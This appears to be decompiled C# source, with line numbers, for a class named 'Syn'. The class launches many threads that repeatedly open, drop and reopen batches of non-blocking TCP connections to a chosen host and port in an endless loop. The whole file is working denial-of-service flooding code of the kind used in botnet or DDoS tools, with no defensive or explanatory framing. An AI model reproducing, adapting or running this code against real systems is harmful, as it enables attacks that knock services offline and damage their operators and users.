1. class Syn
  2. {
  3. private static ThreadStart[] thrdstart;
  4. private static Thread[] thrd;
  5. public static string host;
  6. private static IPEndPoint ipend;
  7. public static int port;
  8. private static SendSyn[] sndsyn;
  9. public static int loc;
  10. public static int synint;
  12. public static void syner()
  13. {
  14. try
  15. {
  16. ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
  17. }
  18. catch
  19. {
  20. ipend = new IPEndPoint(IPAddress.Parse(host), port);
  21. }
  22. thrd = new Thread[synint];
  23. thrdstart = new ThreadStart[synint];
  24. sndsyn = new SendSyn[synint];
  25. for (int i = 0; i < synint; i++)
  26. {
  27. sndsyn[i] = new SendSyn(ipend, loc);
  28. thrdstart[i] = new ThreadStart(sndsyn[i].synthrd);
  29. thrd[i] = new Thread(thrdstart[i]);
  30. thrd[i].Start();
  31. }
  32. }
  34. public static void synstop()
  35. {
  36. for (int i = 0; i < synint; i++)
  37. {
  38. try
  39. {
  40. thrd[i].Abort();
  41. }
  42. catch
  43. {
  44. }
  45. }
  46. }
  48. private class SendSyn
  49. {
  50. private IPEndPoint synend;
  51. private Socket[] synsock;
  52. private int synint;
  54. public SendSyn(IPEndPoint ipEo, int ar)
  55. {
  56. synend = ipEo;
  57. synint = ar;
  58. }
  60. public void synrslt(IAsyncResult ar)
  61. {
  62. }
  64. public void synthrd()
  65. {
  66. int eye = 0;
  67. Label_0000:
  68. try
  69. {
  70. synsock = new Socket[synint];
  71. for (eye = 0; eye < synint; eye++)
  72. {
  73. synsock[eye] = new Socket(synend.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
  74. synsock[eye].Blocking = false;
  75. AsyncCallback async = new AsyncCallback(synrslt);
  76. synsock[eye].BeginConnect(synend, async, synsock[eye]);
  77. }
  78. Thread.Sleep(100);
  79. for (eye = 0; eye < synint; eye++)
  80. {
  81. if (synsock[eye].Connected)
  82. {
  83. synsock[eye].Disconnect(false);
  84. }
  85. synsock[eye].Close();
  86. synsock[eye] = null;
  87. }
  88. synsock = null;
  89. goto Label_0000;
  90. }
  91. catch
  92. {
  93. for (eye = 0; eye < synint; eye++)
  94. {
  95. try
  96. {
  97. if (synsock[eye].Connected)
  98. {
  99. synsock[eye].Disconnect(false);
  100. }
  101. synsock[eye].Close();
  102. synsock[eye] = null;
  103. }
  104. catch
  105. {
  106. }
  107. }
  108. goto Label_0000;
  109. }
  110. }
  111. }
  112. }